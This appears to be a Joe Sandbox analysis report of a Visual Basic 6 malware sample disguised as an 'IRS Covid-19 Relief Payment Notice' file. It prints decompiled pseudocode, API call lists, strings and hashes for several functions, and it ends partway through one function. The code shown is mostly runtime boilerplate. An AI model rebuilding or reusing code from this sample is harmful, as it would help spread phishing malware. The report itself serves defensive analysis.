Instruction ID: a026a310f9d08bb1d858143eb29fddbf5fc3d9bc52f9beb0b7c2352c6f2dcf67
Opcode Fuzzy Hash: e0ec8044d55284a10f5932728e6c4a76dbf9d83842d798d8e448099b51cb11e3
Instruction Fuzzy Hash: CDB002B66515819FEF56DB08D591B4073A4FB55648B0904D0E412DB712D224E910CA04

Uniqueness

Uniqueness Score: -1.00%

Function 0041185A, Relevance: 45.6, APIs: 19, Strings: 7, Instructions: 136
COMMON

Download Yara Rule

C-Code - Quality: 33%

			E0041185A(void* __ebx, void* __ecx, void* __edi, void* __esi, intOrPtr* _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				char _v24;
				char _v28;
				char _v44;
				signed int _v68;
				char _v76;
				char* _v100;
				intOrPtr _v108;
				signed int _v128;
				signed int _v136;
				signed int _t52;
				char* _t55;
				char* _t60;
				signed int _t61;
				void* _t80;
				intOrPtr _t82;

				 *[fs:0x0] = _t82;
				L004012E0();
				_v12 = _t82;
				_v8 = 0x401200;
				_v68 = L"VB.PictureBox";
				_v76 = 8;
				_v100 = L"velgrenhedsarbejdet";
				_v108 = 8;
				_t52 =  *((intOrPtr*)( *_a4 + 0x218))(_a4,  &_v28, __edi, __esi, __ebx, 0x74,  *[fs:0x0], 0x4012e6, __ecx, __ecx, _t80);
				asm("fclex");
				_v128 = _t52;
				if(_v128 >= 0) {
					_v136 = _v136 & 0x00000000;
				} else {
					_push(0x218);
					_push(0x402710);
					_push(_a4);
					_push(_v128);
					L0040146C();
					_v136 = _t52;
				}
				_push(0x10);
				L004012E0();
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_push(0x10);
				L004012E0();
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_push(2);
				_push(L"Add");
				_push(_v28);
				_t55 =  &_v44;
				_push(_t55);
				L004013DC();
				_push(_t55);
				L004013E2();
				_push(_t55);
				_push( &_v24);
				L004013E8();
				L00401466();
				L00401448();
				_v68 = 0x122a;
				_v76 = 2;
				_push(0x10);
				L004012E0();
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_push(L"Left");
				_push(_v24);
				L004013D6();
				_v68 = 0x298d;
				_v76 = 2;
				_push(0x10);
				L004012E0();
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_push(L"Top");
				_push(_v24);
				L004013D6();
				_v68 = _v68 | 0xffffffff;
				_v76 = 0xb;
				_push(0x10);
				L004012E0();
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_push(L"Visible");
				_push(_v24);
				L004013D6();
				_v68 = _v68 | 0xffffffff;
				_v76 = 0x800b;
				_push(0);
				_push(L"Enabled");
				_push(_v24);
				_t60 =  &_v44;
				_push(_t60);
				L004013DC();
				_push(_t60);
				_t61 =  &_v76;
				_push(_t61);
				L004013F4();
				_v128 = _t61;
				L00401448();
				_push(0x411a1f);
				L00401466();
				return _t61;
			}

0x0041186b
0x00411875
0x0041187d
0x00411880
0x00411887
0x0041188e
0x00411895
0x0041189c
0x004118af
0x004118b5
0x004118b7
0x004118be
0x004118dd
0x004118c0
0x004118c0
0x004118c5
0x004118ca
0x004118cd
0x004118d0
0x004118d5
0x004118d5
0x004118e4
0x004118e7
0x004118f1
0x004118f2
0x004118f3
0x004118f4
0x004118f5
0x004118f8
0x00411902
0x00411903
0x00411904
0x00411905
0x00411906
0x00411908
0x0041190d
0x00411910
0x00411913
0x00411914
0x0041191c
0x0041191d
0x00411922
0x00411926
0x00411927
0x0041192f
0x00411937
0x0041193c
0x00411943
0x0041194a
0x0041194d
0x00411957
0x00411958
0x00411959
0x0041195a
0x0041195b
0x00411960
0x00411963
0x00411968
0x0041196f
0x00411976
0x00411979
0x00411983
0x00411984
0x00411985
0x00411986
0x00411987
0x0041198c
0x0041198f
0x00411994
0x00411998
0x0041199f
0x004119a2
0x004119ac
0x004119ad
0x004119ae
0x004119af
0x004119b0
0x004119b5
0x004119b8
0x004119bd
0x004119c1
0x004119c8
0x004119ca
0x004119cf
0x004119d2
0x004119d5
0x004119d6
0x004119de
0x004119df
0x004119e2
0x004119e3
0x004119e8
0x004119ef
0x004119f4
0x00411a19
0x00411a1e

APIs

__vbaChkstk.MSVBVM60(?,004012E6), ref: 00411875
__vbaHresultCheckObj.MSVBVM60(00000000,?,00402710,00000218), ref: 004118D0
__vbaChkstk.MSVBVM60(00000000,?,00402710,00000218), ref: 004118E7
__vbaChkstk.MSVBVM60(00000000,?,00402710,00000218), ref: 004118F8
__vbaLateMemCallLd.MSVBVM60(?,?,Add,00000002), ref: 00411914
__vbaObjVar.MSVBVM60(00000000), ref: 0041191D
__vbaObjSetAddref.MSVBVM60(?,00000000,00000000), ref: 00411927
__vbaFreeObj.MSVBVM60(?,00000000,00000000), ref: 0041192F
__vbaFreeVar.MSVBVM60(?,00000000,00000000), ref: 00411937
__vbaChkstk.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,004012E6), ref: 0041194D
__vbaLateMemSt.MSVBVM60(?,Left), ref: 00411963
__vbaChkstk.MSVBVM60(?,Left), ref: 00411979
__vbaLateMemSt.MSVBVM60(?,Top,?,Left), ref: 0041198F
__vbaChkstk.MSVBVM60(?,Top,?,Left), ref: 004119A2
__vbaLateMemSt.MSVBVM60(?,Visible,?,Top,?,Left), ref: 004119B8
__vbaLateMemCallLd.MSVBVM60(?,?,Enabled,00000000,?,Visible,?,Top,?,Left), ref: 004119D6
__vbaVarTstNe.MSVBVM60(?,00000000), ref: 004119E3
__vbaFreeVar.MSVBVM60(?,00000000), ref: 004119EF
__vbaFreeObj.MSVBVM60(00411A1F,?,00000000), ref: 00411A19

Strings

Top, xrefs: 00411987
Enabled, xrefs: 004119CA
Left, xrefs: 0041195B
Add, xrefs: 00411908
Visible, xrefs: 004119B0
VB.PictureBox, xrefs: 00411887
velgrenhedsarbejdet, xrefs: 00411895

Memory Dump Source

Source File: 00000000.00000002.679466130.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.679462208.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.679474835.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.679478639.0000000000415000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: __vba$Chkstk$Late$Free$Call$AddrefCheckHresult
String ID: Add$Enabled$Left$Top$VB.PictureBox$Visible$velgrenhedsarbejdet
API String ID: 4274921479-3584942522
Opcode ID: 757699f1439594590a6bc609b1d3305d54d8166a04cc80b8190497165e508f09
Instruction ID: 25be1d3a3deff5eaed5cac0ef566f9f0b3aaaa092e738695aab40c0218cf7465
Opcode Fuzzy Hash: 757699f1439594590a6bc609b1d3305d54d8166a04cc80b8190497165e508f09
Instruction Fuzzy Hash: 6A414F71900608ABDF21EFE5C84ABCEBB75AF05714F20452AF500BB1E1CBF959468B59

Uniqueness

Uniqueness Score: -1.00%

Function 00412184, Relevance: 35.1, APIs: 19, Strings: 1, Instructions: 143
COMMON

Download Yara Rule

C-Code - Quality: 48%

			E00412184(void* __ebx, void* __ecx, void* __edi, void* __esi, intOrPtr* _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				char _v24;
				char _v40;
				char _v60;
				signed int _v68;
				intOrPtr _v76;
				intOrPtr _v84;
				intOrPtr _v92;
				signed int _v100;
				intOrPtr _v108;
				intOrPtr _v116;
				intOrPtr _v124;
				intOrPtr _v132;
				char _v140;
				char _v144;
				void* _v148;
				signed int _v152;
				signed int _v156;
				intOrPtr* _v164;
				signed int _v168;
				signed int _v172;
				short _t69;
				signed int _t70;
				char* _t74;
				signed int _t78;
				intOrPtr _t104;

				_push(0x4012e6);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t104;
				L004012E0();
				_v12 = _t104;
				_v8 = 0x401290;
				_push(0);
				_push(3);
				_push(1);
				_push(0);
				_push( &_v60);
				_push(0x10);
				_push(0x880);
				L0040139A();
				_v68 = _v68 | 0xffffffff;
				_v76 = 0xb;
				_push(0);
				_push(_v60);
				L00401406();
				L00401460();
				_v84 = 0x402b48;
				_v92 = 8;
				_push(1);
				_push(_v60);
				L00401406();
				L00401394();
				_v100 = _v100 | 0xffffffff;
				_v108 = 0xb;
				_push(2);
				_push(_v60);
				L00401406();
				L00401460();
				_v116 = 0x402b50;
				_v124 = 8;
				_push(3);
				_push(_v60);
				L00401406();
				L00401394();
				_push( &_v60);
				_push( &_v40);
				L004013A0();
				_push( &_v60);
				_push(0);
				L0040138E();
				_v132 = 0x402b48;
				_v140 = 0x8008;
				_push( &_v40);
				_t69 =  &_v140;
				_push(_t69);
				L004013F4();
				_v148 = _t69;
				L00401448();
				_t70 = _v148;
				if(_t70 != 0) {
					if( *0x413010 != 0) {
						_v164 = 0x413010;
					} else {
						_push("Prt");
						_push(0x401fd0);
						L00401472();
						_v164 = 0x413010;
					}
					_t74 =  &_v24;
					L00401478();
					_v148 = _t74;
					_t78 =  *((intOrPtr*)( *_v148 + 0xf8))(_v148,  &_v144, _t74,  *((intOrPtr*)( *((intOrPtr*)( *_v164)) + 0x310))( *_v164));
					asm("fclex");
					_v152 = _t78;
					if(_v152 >= 0) {
						_v168 = _v168 & 0x00000000;
					} else {
						_push(0xf8);
						_push(0x402904);
						_push(_v148);
						_push(_v152);
						L0040146C();
						_v168 = _t78;
					}
					_t70 =  *((intOrPtr*)( *_a4 + 0x15c))(_a4, _v144);
					asm("fclex");
					_v156 = _t70;
					if(_v156 >= 0) {
						_v172 = _v172 & 0x00000000;
					} else {
						_push(0x15c);
						_push(0x402710);
						_push(_a4);
						_push(_v156);
						L0040146C();
						_v172 = _t70;
					}
					L00401466();
				}
				_push(0x4123de);
				return _t70;
			}

0x00412189
0x00412194
0x00412195
0x004121a1
0x004121a9
0x004121ac
0x004121b3
0x004121b5
0x004121b7
0x004121b9
0x004121be
0x004121bf
0x004121c1
0x004121c6
0x004121ce
0x004121d2
0x004121dc
0x004121de
0x004121e1
0x004121ea
0x004121ef
0x004121f6
0x00412200
0x00412202
0x00412205
0x0041220e
0x00412213
0x00412217
0x00412221
0x00412223
0x00412226
0x0041222f
0x00412234
0x0041223b
0x00412245
0x00412247
0x0041224a
0x00412253
0x0041225b
0x0041225f
0x00412260
0x00412268
0x00412269
0x0041226b
0x00412270
0x00412277
0x00412284
0x00412285
0x0041228b
0x0041228c
0x00412291
0x0041229b
0x004122a0
0x004122a9
0x004122b6
0x004122d3
0x004122b8
0x004122b8
0x004122bd
0x004122c2
0x004122c7
0x004122c7
0x004122f7
0x004122fb
0x00412300
0x0041231b
0x00412321
0x00412323
0x00412330
0x00412355
0x00412332
0x00412332
0x00412337
0x0041233c
0x00412342
0x00412348
0x0041234d
0x0041234d
0x0041236a
0x00412370
0x00412372
0x0041237f
0x004123a1
0x00412381
0x00412381
0x00412386
0x0041238b
0x0041238e
0x00412394
0x00412399
0x00412399
0x004123ab
0x004123ab
0x004123b0
0x00000000

APIs

__vbaChkstk.MSVBVM60(?,004012E6), ref: 004121A1
__vbaRedim.MSVBVM60(00000880,00000010,?,00000000,00000001,00000003,00000000,?,?,?,?,004012E6), ref: 004121C6
__vbaDerefAry1.MSVBVM60(?,00000000), ref: 004121E1
__vbaVarMove.MSVBVM60(?,00000000), ref: 004121EA
__vbaDerefAry1.MSVBVM60(?,00000001,?,?,?,00000000), ref: 00412205
__vbaVarCopy.MSVBVM60(?,00000001,?,?,?,00000000), ref: 0041220E
__vbaDerefAry1.MSVBVM60(?,00000002,?,?,?,00000001,?,?,?,00000000), ref: 00412226
__vbaVarMove.MSVBVM60(?,00000002,?,?,?,00000001,?,?,?,00000000), ref: 0041222F
__vbaDerefAry1.MSVBVM60(?,00000003,?,?,?,00000002,?,?,?,00000001,?,?,?,00000000), ref: 0041224A
__vbaVarCopy.MSVBVM60(?,00000003,?,?,?,00000002,?,?,?,00000001,?,?,?,00000000), ref: 00412253
#668.MSVBVM60(?,?,?,00000003,?,?,?,00000002,?,?,?,00000001,?,?,?,00000000), ref: 00412260
__vbaErase.MSVBVM60(00000000,?,?,?,?,00000003,?,?,?,00000002,?,?,?,00000001), ref: 0041226B
__vbaVarTstNe.MSVBVM60(00008008,?,00000000,?,?,?,?,00000003,?,?,?,00000002,?,?,?,00000001), ref: 0041228C
__vbaFreeVar.MSVBVM60(00008008,?,00000000,?,?,?,?,00000003,?,?,?,00000002,?,?,?,00000001), ref: 0041229B
__vbaNew2.MSVBVM60(00401FD0,Prt,00008008,?,00000000,?,?,?,?,00000003,?,?,?,00000002), ref: 004122C2
__vbaObjSet.MSVBVM60(?,00000000,?,?,00008008,?,00000000,?,?,?,?,00000003,?,?,?,00000002), ref: 004122FB
__vbaHresultCheckObj.MSVBVM60(00000000,?,00402904,000000F8,?,?,00008008,?,00000000,?,?,?,?,00000003), ref: 00412348
__vbaHresultCheckObj.MSVBVM60(00000000,?,00402710,0000015C,?,?,00008008,?,00000000,?,?,?,?,00000003), ref: 00412394
__vbaFreeObj.MSVBVM60(?,?,?,?,00008008,?,00000000,?,?,?,?,00000003,?,?,?,00000002), ref: 004123AB

Strings

Prt, xrefs: 004122AF, 004122B8, 004122C7, 004122D3

Memory Dump Source

Source File: 00000000.00000002.679466130.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.679462208.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.679474835.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.679478639.0000000000415000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: __vba$Ary1Deref$CheckCopyFreeHresultMove$#668ChkstkEraseNew2Redim
String ID: Prt
API String ID: 555313047-3650902515
Opcode ID: 679579a1de29e534a6fa7490ed2a5de762f139dc7f517d05756e1a97ea365e6c
Instruction ID: 0d61a1d858a407b2baaa8ae2b54d2d3b38f5da80e8454d1d8d593c2428bd05e4
Opcode Fuzzy Hash: 679579a1de29e534a6fa7490ed2a5de762f139dc7f517d05756e1a97ea365e6c
Instruction Fuzzy Hash: DB513D70A00218AFDB10DFA1CD46BDDBBB5BF04704F1040AAF509BB2E1DBB85A958F59

Uniqueness

Uniqueness Score: -1.00%

Function 00412610, Relevance: 28.1, APIs: 15, Strings: 1, Instructions: 112
COMMON

Download Yara Rule

C-Code - Quality: 65%

			E00412610(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4, void* _a32, void* _a52) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				void* _v40;
				void* _v44;
				signed int _v48;
				char _v52;
				intOrPtr _v60;
				char _v68;
				char _v84;
				intOrPtr _v108;
				char _v116;
				intOrPtr _v124;
				char _v132;
				void* _v136;
				signed int _v140;
				signed int _v152;
				intOrPtr* _v156;
				signed int _v160;
				short _t63;
				char* _t66;
				char* _t70;
				signed int _t74;
				void* _t93;
				void* _t95;
				intOrPtr _t96;

				_t96 = _t95 - 0xc;
				 *[fs:0x0] = _t96;
				L004012E0();
				_v16 = _t96;
				_v12 = 0x4012c0;
				_v8 = 0;
				 *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx,  *[fs:0x0], 0x4012e6, _t93);
				L0040144E();
				L00401436();
				_v108 = 0x402b60;
				_v116 = 8;
				L0040144E();
				_push(1);
				_push( &_v68);
				_push( &_v84);
				L0040137C();
				_v124 = 0x402b48;
				_v132 = 0x8008;
				_push( &_v84);
				_t63 =  &_v132;
				_push(_t63);
				L004013F4();
				_v136 = _t63;
				_push( &_v84);
				_push( &_v68);
				_push(2);
				L00401454();
				_t66 = _v136;
				if(_t66 != 0) {
					if( *0x413010 != 0) {
						_v156 = 0x413010;
					} else {
						_push("Prt");
						_push(0x401fd0);
						L00401472();
						_v156 = 0x413010;
					}
					_t70 =  &_v52;
					L00401478();
					_v136 = _t70;
					_t74 =  *((intOrPtr*)( *_v136 + 0x1e0))(_v136,  &_v48, _t70,  *((intOrPtr*)( *((intOrPtr*)( *_v156)) + 0x310))( *_v156));
					asm("fclex");
					_v140 = _t74;
					if(_v140 >= 0) {
						_v160 = _v160 & 0x00000000;
					} else {
						_push(0x1e0);
						_push(0x402904);
						_push(_v136);
						_push(_v140);
						L0040146C();
						_v160 = _t74;
					}
					_v152 = _v48;
					_v48 = _v48 & 0x00000000;
					_v60 = _v152;
					_v68 = 8;
					_t66 =  &_v68;
					_push(_t66);
					L00401376();
					L00401466();
					L00401448();
				}
				_push(0x4127f2);
				L00401448();
				L00401430();
				return _t66;
			}

0x00412613
0x00412622
0x0041262e
0x00412636
0x00412639
0x00412640
0x0041264f
0x00412658
0x00412663
0x00412668
0x0041266f
0x0041267c
0x00412681
0x00412686
0x0041268a
0x0041268b
0x00412690
0x00412697
0x004126a1
0x004126a2
0x004126a5
0x004126a6
0x004126ab
0x004126b5
0x004126b9
0x004126ba
0x004126bc
0x004126c4
0x004126cd
0x004126da
0x004126f7
0x004126dc
0x004126dc
0x004126e1
0x004126e6
0x004126eb
0x004126eb
0x0041271b
0x0041271f
0x00412724
0x0041273c
0x00412742
0x00412744
0x00412751
0x00412776
0x00412753
0x00412753
0x00412758
0x0041275d
0x00412763
0x00412769
0x0041276e
0x0041276e
0x00412780
0x00412786
0x00412790
0x00412793
0x0041279a
0x0041279d
0x0041279e
0x004127a6
0x004127ae
0x004127ae
0x004127b3
0x004127e4
0x004127ec
0x004127f1

APIs

__vbaChkstk.MSVBVM60(?,004012E6), ref: 0041262E
__vbaVarDup.MSVBVM60(?,?,?,?,004012E6), ref: 00412658
__vbaStrCopy.MSVBVM60(?,?,?,?,004012E6), ref: 00412663
__vbaVarDup.MSVBVM60 ref: 0041267C
#617.MSVBVM60(?,?,00000001), ref: 0041268B
__vbaVarTstNe.MSVBVM60(?,?,?,?,00000001), ref: 004126A6
__vbaFreeVarList.MSVBVM60(00000002,?,?,?,?,?,?,00000001), ref: 004126BC
__vbaNew2.MSVBVM60(00401FD0,Prt,?,?,004012E6), ref: 004126E6
__vbaObjSet.MSVBVM60(?,00000000), ref: 0041271F
__vbaHresultCheckObj.MSVBVM60(00000000,?,00402904,000001E0), ref: 00412769
#529.MSVBVM60(00000008), ref: 0041279E
__vbaFreeObj.MSVBVM60(00000008), ref: 004127A6
__vbaFreeVar.MSVBVM60(00000008), ref: 004127AE
__vbaFreeVar.MSVBVM60(004127F2,?,?,004012E6), ref: 004127E4
__vbaFreeStr.MSVBVM60(004127F2,?,?,004012E6), ref: 004127EC

Strings

Prt, xrefs: 004126D3, 004126DC, 004126EB, 004126F7

Memory Dump Source

Source File: 00000000.00000002.679466130.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.679462208.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.679474835.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.679478639.0000000000415000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: __vba$Free$#529#617CheckChkstkCopyHresultListNew2
String ID: Prt
API String ID: 762902229-3650902515
Opcode ID: 2f22ddc89944e5a846532179fc684fc2f22c37d4a982394b35a33759f966ac7d
Instruction ID: d94d028e662e12c2d1f64bf762fe89978989926e41b3f1f848d2154d6871ec58
Opcode Fuzzy Hash: 2f22ddc89944e5a846532179fc684fc2f22c37d4a982394b35a33759f966ac7d
Instruction Fuzzy Hash: 59511D71900219DFDB10DFA5CD85BDDB7B8BF08308F1080AAE509B72A1DB785A89CF58

Uniqueness

Uniqueness Score: -1.00%

Function 00410FF9, Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 119
COMMON

Download Yara Rule

C-Code - Quality: 42%

			E00410FF9(void* __ebx, void* __edi, void* __esi, signed int* _a24) {
				intOrPtr _v12;
				intOrPtr _v16;
				char _v28;
				void* _v48;
				intOrPtr _v56;
				char _v64;
				char _v80;
				signed int _v88;
				intOrPtr _v96;
				char _v100;
				intOrPtr* _v104;
				signed int _v108;
				intOrPtr* _v112;
				signed int _v116;
				char _v128;
				signed int _v132;
				signed int _v136;
				char* _t53;
				intOrPtr* _t57;
				char* _t58;
				signed int _t64;
				signed int _t69;
				void* _t78;
				intOrPtr _t79;

				_t79 = _t78 - 0xc;
				_push(0x4012e6);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t79;
				_push(0x70);
				L004012E0();
				_v16 = _t79;
				_v12 = 0x4011c0;
				 *_a24 =  *_a24 & 0x00000000;
				_v56 = 0x80020004;
				_v64 = 0xa;
				_push(0);
				_push(0xffffffff);
				_push( &_v64);
				_push(0x402a2c);
				_push( &_v80);
				L00401412();
				_t53 =  &_v80;
				_push(_t53);
				_push(0x2008);
				L00401418();
				_v100 = _t53;
				_push( &_v100);
				_push( &_v28);
				L0040141E();
				_push( &_v80);
				_t57 =  &_v64;
				_push(_t57);
				_push(2);
				L00401454();
				_push(0);
				_push(_v28);
				L00401406();
				_push( *_t57);
				_push(0x402a38);
				L0040140C();
				if(_t57 != 0) {
					if( *0x41333c != 0) {
						_v128 = 0x41333c;
					} else {
						_push(0x41333c);
						_push(0x402a5c);
						L00401472();
						_v128 = 0x41333c;
					}
					_t17 =  &_v128; // 0x41333c
					_v104 =  *((intOrPtr*)( *_t17));
					_t19 =  &_v48; // 0x41333c
					_t64 =  *((intOrPtr*)( *_v104 + 0x4c))(_v104, _t19);
					asm("fclex");
					_v108 = _t64;
					if(_v108 >= 0) {
						_v132 = _v132 & 0x00000000;
					} else {
						_push(0x4c);
						_push(0x402a4c);
						_push(_v104);
						_push(_v108);
						L0040146C();
						_v132 = _t64;
					}
					_v112 = _v48;
					_v88 = _v88 & 0x00000000;
					_v96 = 2;
					L004012E0();
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					_t69 =  *((intOrPtr*)( *_v112 + 0x2c))(_v112, 0x10);
					asm("fclex");
					_v116 = _t69;
					if(_v116 >= 0) {
						_v136 = _v136 & 0x00000000;
					} else {
						_push(0x2c);
						_push(0x402a6c);
						_push(_v112);
						_push(_v116);
						L0040146C();
						_v136 = _t69;
					}
					L00401466();
				}
				_push(0x4111a5);
				_t58 =  &_v28;
				_push(_t58);
				_push(0);
				L00401400();
				return _t58;
			}

0x00410ffc
0x00410fff
0x0041100a
0x0041100b
0x00411012
0x00411015
0x0041101d
0x00411020
0x0041102a
0x0041102d
0x00411034
0x0041103b
0x0041103d
0x00411042
0x00411043
0x0041104b
0x0041104c
0x00411051
0x00411054
0x00411055
0x0041105a
0x0041105f
0x00411065
0x00411069
0x0041106a
0x00411072
0x00411073
0x00411076
0x00411077
0x00411079
0x00411081
0x00411083
0x00411086
0x0041108b
0x0041108d
0x00411092
0x00411099
0x004110a6
0x004110c0
0x004110a8
0x004110a8
0x004110ad
0x004110b2
0x004110b7
0x004110b7
0x004110c7
0x004110cc
0x004110cf
0x004110db
0x004110de
0x004110e0
0x004110e7
0x00411100
0x004110e9
0x004110e9
0x004110eb
0x004110f0
0x004110f3
0x004110f6
0x004110fb
0x004110fb
0x00411107
0x0041110a
0x0041110e
0x00411118
0x00411122
0x00411123
0x00411124
0x00411125
0x0041112e
0x00411131
0x00411133
0x0041113a
0x00411156
0x0041113c
0x0041113c
0x0041113e
0x00411143
0x00411146
0x00411149
0x0041114e
0x0041114e
0x00411160
0x00411160
0x00411165
0x00411199
0x0041119c
0x0041119d
0x0041119f
0x004111a4

APIs

__vbaChkstk.MSVBVM60(?,004012E6), ref: 00411015
#711.MSVBVM60(?,00402A2C,0000000A,000000FF,00000000), ref: 0041104C
__vbaAryVar.MSVBVM60(00002008,?,?,00402A2C,0000000A,000000FF,00000000), ref: 0041105A
__vbaAryCopy.MSVBVM60(?,?,00002008,?,?,00402A2C,0000000A,000000FF,00000000), ref: 0041106A
__vbaFreeVarList.MSVBVM60(00000002,0000000A,?,?,?,00002008,?,?,00402A2C,0000000A,000000FF,00000000), ref: 00411079
__vbaDerefAry1.MSVBVM60(?,00000000,?,?,004012E6), ref: 00411086
__vbaStrCmp.MSVBVM60(00402A38,00000000,?,00000000,?,?,004012E6), ref: 00411092
__vbaNew2.MSVBVM60(00402A5C,0041333C,00402A38,00000000,?,00000000,?,?,004012E6), ref: 004110B2
__vbaHresultCheckObj.MSVBVM60(00000000,?,00402A4C,0000004C), ref: 004110F6
__vbaChkstk.MSVBVM60(00000000,?,00402A4C,0000004C), ref: 00411118
__vbaHresultCheckObj.MSVBVM60(00000000,?,00402A6C,0000002C), ref: 00411149
__vbaFreeObj.MSVBVM60(00000000,?,00402A6C,0000002C), ref: 00411160
__vbaAryDestruct.MSVBVM60(00000000,?,004111A5,00402A38,00000000,?,00000000,?,?,004012E6), ref: 0041119F

Strings

<3A, xrefs: 004110C7
<3A8*@, xrefs: 004110CF, 004110D2

Memory Dump Source

Source File: 00000000.00000002.679466130.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.679462208.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.679474835.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.679478639.0000000000415000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: __vba$CheckChkstkFreeHresult$#711Ary1CopyDerefDestructListNew2
String ID: <3A$<3A8*@
API String ID: 1396276536-3714198115
Opcode ID: 5499186aacf87ba42d02577751606bcf872086ee3e38f8cc6380d4e23139f5cc
Instruction ID: cfdab0e14f74027d3c6906ba6110e016829f163bcc5f2104c54c5ff04e8b53b5
Opcode Fuzzy Hash: 5499186aacf87ba42d02577751606bcf872086ee3e38f8cc6380d4e23139f5cc
Instruction Fuzzy Hash: 35411871D00308AFDB11EFA5C846BDEBBB9AF08704F10802AF615BB1A2DBB85545CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00411316, Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 149
COMMON

Download Yara Rule

C-Code - Quality: 52%

			E00411316(void* __ebx, void* __edi, void* __esi, intOrPtr __fp0, intOrPtr* _a4, void* _a44) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr* _v16;
				void* _v40;
				char _v52;
				char _v56;
				intOrPtr _v64;
				intOrPtr _v72;
				intOrPtr _v80;
				intOrPtr _v88;
				intOrPtr _v96;
				intOrPtr _v104;
				short _v108;
				intOrPtr* _v112;
				signed int _v116;
				intOrPtr* _v120;
				signed int _v124;
				intOrPtr* _v136;
				signed int _v140;
				intOrPtr* _v144;
				short _v148;
				intOrPtr _v152;
				signed int _v156;
				char* _t68;
				signed int _t72;
				char* _t76;
				signed int _t83;
				char* _t85;
				intOrPtr _t93;
				void* _t104;
				void* _t106;
				intOrPtr* _t107;
				intOrPtr _t113;

				_t113 = __fp0;
				_t107 = _t106 - 0xc;
				 *[fs:0x0] = _t107;
				L004012E0();
				_v16 = _t107;
				_v12 = 0x4011e0;
				_v8 = 0;
				 *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx,  *[fs:0x0], 0x4012e6, _t104);
				L0040144E();
				if( *0x413010 != 0) {
					_v136 = 0x413010;
				} else {
					_push("Prt");
					_push(0x401fd0);
					L00401472();
					_v136 = 0x413010;
				}
				_t68 =  &_v52;
				L00401478();
				_v112 = _t68;
				_t72 =  *((intOrPtr*)( *_v112 + 0xa0))(_v112,  &_v108, _t68,  *((intOrPtr*)( *((intOrPtr*)( *_v136)) + 0x304))( *_v136));
				asm("fclex");
				_v116 = _t72;
				if(_v116 >= 0) {
					_v140 = _v140 & 0x00000000;
				} else {
					_push(0xa0);
					_push(0x402914);
					_push(_v112);
					_push(_v116);
					L0040146C();
					_v140 = _t72;
				}
				if( *0x413010 != 0) {
					_v144 = 0x413010;
				} else {
					_push("Prt");
					_push(0x401fd0);
					L00401472();
					_v144 = 0x413010;
				}
				_t93 =  *((intOrPtr*)( *_v144));
				_t76 =  &_v56;
				L00401478();
				_v120 = _t76;
				_v96 = 0x80020004;
				_v104 = 0xa;
				_v80 = 0x80020004;
				_v88 = 0xa;
				_v64 = 0x80020004;
				_v72 = 0xa;
				L004012E0();
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				L004012E0();
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				L004012E0();
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v148 = _v108;
				asm("fild dword [ebp-0x90]");
				_v152 = _t113;
				 *_t107 = _v152;
				_t83 =  *((intOrPtr*)( *_v120 + 0x224))(_v120, _t93, 0x10, 0x10, 0x10, _t76,  *((intOrPtr*)(_t93 + 0x30c))( *_v144));
				asm("fclex");
				_v124 = _t83;
				if(_v124 >= 0) {
					_v156 = _v156 & 0x00000000;
				} else {
					_push(0x224);
					_push(0x402904);
					_push(_v120);
					_push(_v124);
					L0040146C();
					_v156 = _t83;
				}
				_push( &_v56);
				_t85 =  &_v52;
				_push(_t85);
				_push(2);
				L0040145A();
				asm("wait");
				_push(0x41153c);
				L00401448();
				return _t85;
			}

0x00411316
0x00411319
0x00411328
0x00411334
0x0041133c
0x0041133f
0x00411346
0x00411355
0x0041135e
0x0041136a
0x00411387
0x0041136c
0x0041136c
0x00411371
0x00411376
0x0041137b
0x0041137b
0x004113ab
0x004113af
0x004113b4
